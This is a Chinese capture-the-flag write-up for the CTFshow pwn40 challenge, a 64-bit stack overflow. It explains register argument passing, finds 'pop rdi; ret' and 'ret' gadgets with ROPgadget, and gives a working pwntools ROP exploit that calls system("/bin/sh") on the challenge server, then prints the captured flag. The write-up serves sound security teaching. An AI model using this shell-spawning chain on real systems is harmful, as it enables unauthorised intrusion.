CTFshow-PWN-栈溢出（pwn40）

64位的 system(); "/bin/sh"

检查：

64 位程序

拖进 ida64 分析：

前面讲过的基础这里就不再过多说明，主要差别就是这里是 64 位程序

确定到栈底的距离：0xA

 /bin/sh 字符串的地址：0x400808

system 函数的地址：0x400520

对于 32 位程序来说这些已经够了，但是这里是 64 位程序

首先我们需要知道 64 位程序与 32 位程序传参规则的不同：

在 32 位汇编中，参数是直接放在堆栈上的，而不是放在寄存器上。

但是对于 64 位汇编，当参数少于等于 6 个时，参数从左到右依次放入寄存器：rdi、rsi、rdx、rcx、r8、r9。当参数为 7 个以上时，前 6 个参数仍然按照上述规则放入寄存器，但是第 7 个及以后的参数从右向左依次放入栈中。也就是说要先把六个寄存器放满了才会考虑放入栈。

有的题，里面既没有现成的 system 函数，也没有 /bin/sh 字符串，也没有提供 libc.so 给我们，那么我们要做的就是想办法泄露 libc 地址，拿到 system 函数和 /bin/sh 字符串，我们就需要获取 rdi, rsi, rdx, rcx, r8, r9 它们的地址，首先要获取的是 rdi 的地址。

rdi 的地址我们使用工具 ROPgadget 来获取：

ROPgadget --binary pwn --only "pop|ret" | grep rdi

参数解释：
--binary pwn: 指定了要分析的二进制文件的文件名。
--only "pop|ret": 指定了只查找包含"pop"和"ret"指令序列的代码片段，这些指令通常用于弹出寄存器中的值，并将控制流返回到调用函数的地址处，是ROP攻击中常用的gadgets。
| grep rdi: 将ROPgadget的输出传递给grep命令，然后使用grep命令筛选出包含"rdi"寄存器的代码片段，这样就可以只找到包含"pop|ret"指令序列并且弹出rdi寄存器的gadgets。

gadgets 指的是程序中的一些短小的代码片段，这些代码片段通常以一种特定的指令序列结尾，比如"ret"指令。（就是以 ret 结尾的指令序列）

找到 rdi 的地址：0x4007e3

接下来我们还需要获取 ret 的地址：

使用 ROPgadget 工具扫描二进制文件，提取其中的代码片段（gadgets），并识别其中有用的指令序列，比如 pop 和 ret 等。

ROPgadget --binary pwn

找到 ret 的地址：0x4004fe

payload 格式：

payload = b'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh)  + p64(ret) + p64(system)

0xA+8个填充字节（用'a'填充）：用于填充到栈溢出的位置，达到返回地址的偏移。
pop_rdi：用于将下一个值弹出到rdi寄存器中。
bin_sh：需要执行的系统命令字符串的地址。
ret：用于绕过栈中的返回地址，返回到调用者。
system：系统函数system的地址，用于执行系统命令。

在这个顺序下，首先会使用 pop_rdi 指令将 bin_sh 的地址加载到 rdi 寄存器中，然后通过 ret 指令返回到调用者，从而间接地调用了 system 函数，实现了执行系统命令的目的。 

在64位的Linux系统中，参数传递是通过寄存器来完成的，而 system 函数的第一个参数（即需要执行的命令字符串）是通过 rdi 寄存器传递的，所以，我们首先需要将 /bin/sh 字符串的地址放入 rdi 寄存器中，然后才能调用system函数，这就是为什么我们需要知道 pop rdi ;ret 指令序列的地址，因为它会将栈顶的值弹出到 rdi 寄存器中，而 ret 指令的作用是用于绕过栈中的返回地址，通过 ret 指令返回到调用者，从而间接地调用 system 函数。

编写 exp：

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28286)
payload = b'a'*(0xA+8) + p64(0x4007e3) + p64(0x400808) + p64(0x4004fe) + p64(0x400520)
p.sendline(payload)
p.interactive()

命令执行 

拿到 flag：ctfshow{b07ab0bb-6d6c-425f-a49f-163e400a46a7}